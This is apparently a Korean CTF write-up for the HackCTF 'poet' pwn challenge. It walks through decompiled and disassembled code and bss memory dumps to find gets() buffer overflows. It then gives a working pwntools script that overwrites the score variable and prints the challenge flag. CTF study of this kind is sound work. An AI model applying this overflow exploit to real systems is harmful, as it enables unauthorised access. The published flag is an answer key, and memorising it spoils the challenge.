[문제]
[풀이]
- 64bit 바이너리
- 카나리 없음
- NX bit 존재
- PIE 없음
바이너리 실행
- Enter 이후에 사용자의 입력을 받고, 저자가 누구인지 물어보면서 추가적인 입력을 받고 있음
- 1,000,000점을 획득하지 않으면 다시 시도하라는 문구와 함께 반복적으로 입력하도록 함
IDA 분석 - main 함수
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi@1
setvbuf(_bss_start, 0LL, 2, 0LL);
v3 = "\\n"
"**********************************************************\\n"
"* 우리는 2018년의 시인(poet)을 찾고 있습니다. *\\n"
"* 플래그상을 받고 싶다면 지금 한 줄의 시를 쓰세요! *\\n"
"**********************************************************\\n";
puts(
"\\n"
"**********************************************************\\n"
"* 우리는 2018년의 시인(poet)을 찾고 있습니다. *\\n"
"* 플래그상을 받고 싶다면 지금 한 줄의 시를 쓰세요! *\\n"
"**********************************************************\\n");
puts();
while ( 1 )
{
get_poem(v3, 0LL);
get_author(v3);
rate_poem(v3);
if ( dword_6024E0 == 1000000 )
break;
v3 = "\\n"
"음...이 시로는 충분하지가 않습니다.\\n"
"정확히 1,000,000 점을 획득해야만 됩니다.\\n"
"다시 시도해주세요!\\n"
"+---------------------------------------------------------------------------+\\n";
puts(
"\\n"
"음...이 시로는 충분하지가 않습니다.\\n"
"정확히 1,000,000 점을 획득해야만 됩니다.\\n"
"다시 시도해주세요!\\n"
"+---------------------------------------------------------------------------+\\n");
}
reward(v3);
}
- get_poem, get_author, rate_poem 함수를 무한 루프로 호출
- 점수가 1000000일 경우 루프 탈출과 함께 reward 함수 호출
IDA 분석 - reward 함수
void __noreturn reward()
{
char s; // [rsp+0h] [rbp-90h]@1
FILE *stream; // [rsp+88h] [rbp-8h]@1
stream = fopen("./flag.txt", "r");
fgets(&s, 128, stream);
printf(
"\\n"
"축하합니다!\\n"
"\\n"
"시 내용\\n"
"%.64s\\n"
"\\n"
"2018년 시인 상을 받았습니다!!\\n"
"\\n"
"보상:\\n"
"%s\\n"
"+---------------------------------------------------------------------------+\\n"
"\\n",
&unk_6024A0,
&s);
exit(0);
}
- flag 획득 가능
IDA 분석 - rate_poem 함수
int rate_poem()
{
char dest; // [rsp+0h] [rbp-410h]@1
char *s1; // [rsp+408h] [rbp-8h]@1
strcpy(&dest, poem);
for ( s1 = strtok(&dest, " \\n"); s1; s1 = strtok(0LL, " \\n") )
{
if ( !strcmp(s1, "ESPR")
|| !strcmp(s1, "eat")
|| !strcmp(s1, "sleep")
|| !strcmp(s1, "pwn")
|| !strcmp(s1, "repeat")
|| !strcmp(s1, "CTF")
|| !strcmp(s1, "capture")
|| !strcmp(s1, "flag") )
{
dword_6024E0 += 100;
}
}
return printf(
"\\n"
"+---------------------------------------------------------------------------+\\n"
"시 내용\\n"
"%.1024s\\n"
"점수:%d\\n",
poem,
(unsigned int)dword_6024E0);
}
- get_poem에서 입력 받은 값을 dest에 복사하여 s1로 받음
- 사용자의 입력 값에 ESPR, eat, sleep, pwn, repeat, CTF, capture, flag가 있으면 100점씩 부여
IDA 분석 - get_poem 함수
__int64 get_poem()
{
__int64 result; // rax@1
printf("Enter :\\n> ");
result = gets(poem);
dword_6024E0 = 0;
return result;
}
- gets 함수로 사용자의 입력을 받아 poem에 저장 → BOF 발생
- result로 입력 값을 받아 return
IDA 분석 - get_author 함수
__int64 get_author()
{
printf("이 시의 저자는 누구입니까?\\n> ");
return gets(&unk_6024A0);
}
- 저자에 대한 입력을 gets 함수로 받아 return → BOF 발생
gdb 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x0000000000400600 _init
0x0000000000400630 strcpy@plt
0x0000000000400640 puts@plt
0x0000000000400650 printf@plt
0x0000000000400660 __libc_start_main@plt
0x0000000000400670 fgets@plt
0x0000000000400680 strcmp@plt
0x0000000000400690 gets@plt
0x00000000004006a0 setvbuf@plt
0x00000000004006b0 fopen@plt
0x00000000004006c0 strtok@plt
0x00000000004006d0 exit@plt
0x00000000004006e0 __gmon_start__@plt
0x00000000004006f0 _start
0x0000000000400720 deregister_tm_clones
0x0000000000400760 register_tm_clones
0x00000000004007a0 __do_global_dtors_aux
0x00000000004007c0 frame_dummy
0x00000000004007e6 reward
0x0000000000400844 rate_poem
0x0000000000400978 get_poem
0x00000000004009a7 get_author
0x00000000004009cc main
0x0000000000400a50 __libc_csu_init
0x0000000000400ac0 __libc_csu_fini
0x0000000000400ac4 _fini
- main: 0x4009cc
- reward: 0x4007e6
- rate_poem: 0x400844
- get_poem: 0x400978
- get_author: 0x4009a7
gdb 분석 - main 함수
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004009cc <+0>: push rbp
0x00000000004009cd <+1>: mov rbp,rsp
0x00000000004009d0 <+4>: sub rsp,0x10
0x00000000004009d4 <+8>: mov DWORD PTR [rbp-0x4],edi
0x00000000004009d7 <+11>: mov QWORD PTR [rbp-0x10],rsi
0x00000000004009db <+15>: mov rax,QWORD PTR [rip+0x20169e] # 0x602080 <stdout@@GLIBC_2.2.5>
0x00000000004009e2 <+22>: mov ecx,0x0
0x00000000004009e7 <+27>: mov edx,0x2
0x00000000004009ec <+32>: mov esi,0x0
0x00000000004009f1 <+37>: mov rdi,rax
0x00000000004009f4 <+40>: call 0x4006a0 <setvbuf@plt>
0x00000000004009f9 <+45>: mov edi,0x400c68
0x00000000004009fe <+50>: call 0x400640 <puts@plt>
0x0000000000400a03 <+55>: mov eax,0x0
0x0000000000400a08 <+60>: call 0x400978 <get_poem>
0x0000000000400a0d <+65>: mov eax,0x0
0x0000000000400a12 <+70>: call 0x4009a7 <get_author>
0x0000000000400a17 <+75>: mov eax,0x0
0x0000000000400a1c <+80>: call 0x400844 <rate_poem>
0x0000000000400a21 <+85>: mov eax,DWORD PTR [rip+0x201ab9] # 0x6024e0 <poem+1088>
0x0000000000400a27 <+91>: cmp eax,0xf4240
0x0000000000400a2c <+96>: jne 0x400a3a <main+110>
0x0000000000400a2e <+98>: mov eax,0x0
0x0000000000400a33 <+103>: call 0x4007e6 <reward>
0x0000000000400a38 <+108>: jmp 0x400a03 <main+55>
0x0000000000400a3a <+110>: mov edi,0x400d78
0x0000000000400a3f <+115>: call 0x400640 <puts@plt>
0x0000000000400a44 <+120>: jmp 0x400a03 <main+55>
End of assembler dump.
gdb 분석 - rate_poem 함수
pwndbg> disass rate_poem
Dump of assembler code for function rate_poem:
0x0000000000400844 <+0>: push rbp
0x0000000000400845 <+1>: mov rbp,rsp
0x0000000000400848 <+4>: sub rsp,0x410
0x000000000040084f <+11>: lea rax,[rbp-0x410]
0x0000000000400856 <+18>: mov esi,0x6020a0
0x000000000040085b <+23>: mov rdi,rax
0x000000000040085e <+26>: call 0x400630 <strcpy@plt>
0x0000000000400863 <+31>: lea rax,[rbp-0x410]
0x000000000040086a <+38>: mov esi,0x400b91
0x000000000040086f <+43>: mov rdi,rax
0x0000000000400872 <+46>: call 0x4006c0 <strtok@plt>
0x0000000000400877 <+51>: mov QWORD PTR [rbp-0x8],rax
0x000000000040087b <+55>: jmp 0x40094e <rate_poem+266>
0x0000000000400880 <+60>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400884 <+64>: mov esi,0x400b94
0x0000000000400889 <+69>: mov rdi,rax
0x000000000040088c <+72>: call 0x400680 <strcmp@plt>
0x0000000000400891 <+77>: test eax,eax
0x0000000000400893 <+79>: je 0x40092c <rate_poem+232>
0x0000000000400899 <+85>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040089d <+89>: mov esi,0x400b99
0x00000000004008a2 <+94>: mov rdi,rax
0x00000000004008a5 <+97>: call 0x400680 <strcmp@plt>
0x00000000004008aa <+102>: test eax,eax
0x00000000004008ac <+104>: je 0x40092c <rate_poem+232>
0x00000000004008ae <+106>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004008b2 <+110>: mov esi,0x400b9d
0x00000000004008b7 <+115>: mov rdi,rax
0x00000000004008ba <+118>: call 0x400680 <strcmp@plt>
0x00000000004008bf <+123>: test eax,eax
0x00000000004008c1 <+125>: je 0x40092c <rate_poem+232>
0x00000000004008c3 <+127>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004008c7 <+131>: mov esi,0x400ba3
0x00000000004008cc <+136>: mov rdi,rax
0x00000000004008cf <+139>: call 0x400680 <strcmp@plt>
0x00000000004008d4 <+144>: test eax,eax
0x00000000004008d6 <+146>: je 0x40092c <rate_poem+232>
0x00000000004008d8 <+148>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004008dc <+152>: mov esi,0x400ba7
0x00000000004008e1 <+157>: mov rdi,rax
0x00000000004008e4 <+160>: call 0x400680 <strcmp@plt>
0x00000000004008e9 <+165>: test eax,eax
0x00000000004008eb <+167>: je 0x40092c <rate_poem+232>
0x00000000004008ed <+169>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004008f1 <+173>: mov esi,0x400bae
0x00000000004008f6 <+178>: mov rdi,rax
0x00000000004008f9 <+181>: call 0x400680 <strcmp@plt>
0x00000000004008fe <+186>: test eax,eax
0x0000000000400900 <+188>: je 0x40092c <rate_poem+232>
0x0000000000400902 <+190>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400906 <+194>: mov esi,0x400bb2
0x000000000040090b <+199>: mov rdi,rax
0x000000000040090e <+202>: call 0x400680 <strcmp@plt>
0x0000000000400913 <+207>: test eax,eax
0x0000000000400915 <+209>: je 0x40092c <rate_poem+232>
0x0000000000400917 <+211>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040091b <+215>: mov esi,0x400bba
0x0000000000400920 <+220>: mov rdi,rax
0x0000000000400923 <+223>: call 0x400680 <strcmp@plt>
0x0000000000400928 <+228>: test eax,eax
0x000000000040092a <+230>: jne 0x40093b <rate_poem+247>
0x000000000040092c <+232>: mov eax,DWORD PTR [rip+0x201bae] # 0x6024e0 <poem+1088>
0x0000000000400932 <+238>: add eax,0x64
0x0000000000400935 <+241>: mov DWORD PTR [rip+0x201ba5],eax # 0x6024e0 <poem+1088>
0x000000000040093b <+247>: mov esi,0x400b91
0x0000000000400940 <+252>: mov edi,0x0
0x0000000000400945 <+257>: call 0x4006c0 <strtok@plt>
0x000000000040094a <+262>: mov QWORD PTR [rbp-0x8],rax
0x000000000040094e <+266>: cmp QWORD PTR [rbp-0x8],0x0
0x0000000000400953 <+271>: jne 0x400880 <rate_poem+60>
0x0000000000400959 <+277>: mov eax,DWORD PTR [rip+0x201b81] # 0x6024e0 <poem+1088>
0x000000000040095f <+283>: mov edx,eax
0x0000000000400961 <+285>: mov esi,0x6020a0
0x0000000000400966 <+290>: mov edi,0x400bc0
0x000000000040096b <+295>: mov eax,0x0
0x0000000000400970 <+300>: call 0x400650 <printf@plt>
0x0000000000400975 <+305>: nop
0x0000000000400976 <+306>: leave
0x0000000000400977 <+307>: ret
End of assembler dump.
- rate_poem+238에서 eax에 0x64(100)을 더하는 것으로 보아 점수를 측정하는 부분임을 알 수 있음
- 해당 값은 rate_poem+241을 통해 rip+0x201ba5에 저장됨
- rate_poem+241에 bp 건 후, 시: flag, 저자: aaaa 입력하여 메모리 확인
- poem이라는 전역변수로 할당된 bss 영역에 저장됨을 확인
- 시, 저자 부분도 해당 영역에 저장될 것이라 추측
- poem 첫 시작 부분 찾아 확인
pwndbg> x/140gx 0x6020a0
0x6020a0 <poem>: 0x0000000067616c66 0x0000000000000000
0x6020b0 <poem+16>: 0x0000000000000000 0x0000000000000000
0x6020c0 <poem+32>: 0x0000000000000000 0x0000000000000000
0x6020d0 <poem+48>: 0x0000000000000000 0x0000000000000000
0x6020e0 <poem+64>: 0x0000000000000000 0x0000000000000000
0x6020f0 <poem+80>: 0x0000000000000000 0x0000000000000000
0x602100 <poem+96>: 0x0000000000000000 0x0000000000000000
0x602110 <poem+112>: 0x0000000000000000 0x0000000000000000
0x602120 <poem+128>: 0x0000000000000000 0x0000000000000000
0x602130 <poem+144>: 0x0000000000000000 0x0000000000000000
0x602140 <poem+160>: 0x0000000000000000 0x0000000000000000
0x602150 <poem+176>: 0x0000000000000000 0x0000000000000000
0x602160 <poem+192>: 0x0000000000000000 0x0000000000000000
0x602170 <poem+208>: 0x0000000000000000 0x0000000000000000
0x602180 <poem+224>: 0x0000000000000000 0x0000000000000000
0x602190 <poem+240>: 0x0000000000000000 0x0000000000000000
0x6021a0 <poem+256>: 0x0000000000000000 0x0000000000000000
0x6021b0 <poem+272>: 0x0000000000000000 0x0000000000000000
0x6021c0 <poem+288>: 0x0000000000000000 0x0000000000000000
0x6021d0 <poem+304>: 0x0000000000000000 0x0000000000000000
0x6021e0 <poem+320>: 0x0000000000000000 0x0000000000000000
0x6021f0 <poem+336>: 0x0000000000000000 0x0000000000000000
0x602200 <poem+352>: 0x0000000000000000 0x0000000000000000
0x602210 <poem+368>: 0x0000000000000000 0x0000000000000000
0x602220 <poem+384>: 0x0000000000000000 0x0000000000000000
0x602230 <poem+400>: 0x0000000000000000 0x0000000000000000
0x602240 <poem+416>: 0x0000000000000000 0x0000000000000000
0x602250 <poem+432>: 0x0000000000000000 0x0000000000000000
0x602260 <poem+448>: 0x0000000000000000 0x0000000000000000
0x602270 <poem+464>: 0x0000000000000000 0x0000000000000000
0x602280 <poem+480>: 0x0000000000000000 0x0000000000000000
0x602290 <poem+496>: 0x0000000000000000 0x0000000000000000
0x6022a0 <poem+512>: 0x0000000000000000 0x0000000000000000
0x6022b0 <poem+528>: 0x0000000000000000 0x0000000000000000
0x6022c0 <poem+544>: 0x0000000000000000 0x0000000000000000
0x6022d0 <poem+560>: 0x0000000000000000 0x0000000000000000
0x6022e0 <poem+576>: 0x0000000000000000 0x0000000000000000
0x6022f0 <poem+592>: 0x0000000000000000 0x0000000000000000
0x602300 <poem+608>: 0x0000000000000000 0x0000000000000000
0x602310 <poem+624>: 0x0000000000000000 0x0000000000000000
0x602320 <poem+640>: 0x0000000000000000 0x0000000000000000
0x602330 <poem+656>: 0x0000000000000000 0x0000000000000000
0x602340 <poem+672>: 0x0000000000000000 0x0000000000000000
0x602350 <poem+688>: 0x0000000000000000 0x0000000000000000
0x602360 <poem+704>: 0x0000000000000000 0x0000000000000000
0x602370 <poem+720>: 0x0000000000000000 0x0000000000000000
0x602380 <poem+736>: 0x0000000000000000 0x0000000000000000
0x602390 <poem+752>: 0x0000000000000000 0x0000000000000000
0x6023a0 <poem+768>: 0x0000000000000000 0x0000000000000000
0x6023b0 <poem+784>: 0x0000000000000000 0x0000000000000000
0x6023c0 <poem+800>: 0x0000000000000000 0x0000000000000000
0x6023d0 <poem+816>: 0x0000000000000000 0x0000000000000000
0x6023e0 <poem+832>: 0x0000000000000000 0x0000000000000000
0x6023f0 <poem+848>: 0x0000000000000000 0x0000000000000000
0x602400 <poem+864>: 0x0000000000000000 0x0000000000000000
0x602410 <poem+880>: 0x0000000000000000 0x0000000000000000
0x602420 <poem+896>: 0x0000000000000000 0x0000000000000000
0x602430 <poem+912>: 0x0000000000000000 0x0000000000000000
0x602440 <poem+928>: 0x0000000000000000 0x0000000000000000
0x602450 <poem+944>: 0x0000000000000000 0x0000000000000000
0x602460 <poem+960>: 0x0000000000000000 0x0000000000000000
0x602470 <poem+976>: 0x0000000000000000 0x0000000000000000
0x602480 <poem+992>: 0x0000000000000000 0x0000000000000000
0x602490 <poem+1008>: 0x0000000000000000 0x0000000000000000
0x6024a0 <poem+1024>: 0x0000000061616161 0x0000000000000000
0x6024b0 <poem+1040>: 0x0000000000000000 0x0000000000000000
0x6024c0 <poem+1056>: 0x0000000000000000 0x0000000000000000
0x6024d0 <poem+1072>: 0x0000000000000000 0x0000000000000000
0x6024e0 <poem+1088>: 0x0000000000000064 0x0000000000000000
0x6024f0: 0x0000000000000000 0x0000000000000000
- 0x6020a0(poem)에 시 내용 저장
- 0x6024a0(poem+1024)에 저자 내용 저장
- 0x6024e0(poem+1088)에 반영된 점수 저장
문제 해결
💡 poem_dummy(0~1016)+ author_dummy(64)+1000000
- 시와 저자를 입력하는 부분은 모두 BOF를 발생시킬 수 있음
- 시는 아무 값이나 입력하고, 저자를 입력 받는 부분에서 BOF를 발생시켜 점수 값을 1000000으로 조작 시, flag 획득 가능
- 저자(0x6024a0)~점수(0x6024e0)까지의 offset = 0x40(64)
Python2
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3012)
e = ELF("./poet")
payload = "a" *4 //시 내용은 입력하지 않아도 exploit 할 수 있음
p.recvuntil("> ")
p.sendline(payload)
payload1= "b"*64+p64(1000000)
p.recvuntil("> ")
p.sendline(payload1)
p.interactive()
flag
🍒 HackCTF{0neSTEP_jun10rCTF}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] RTL_World (0) | 2022.10.30 |
---|---|
[HackCTF] g++ pwn (0) | 2022.10.30 |
[HackCTF] 1996 (0) | 2022.10.30 |
[HackCTF] Random key (0) | 2022.10.30 |
[HackCTF] RTL_Core (0) | 2022.10.30 |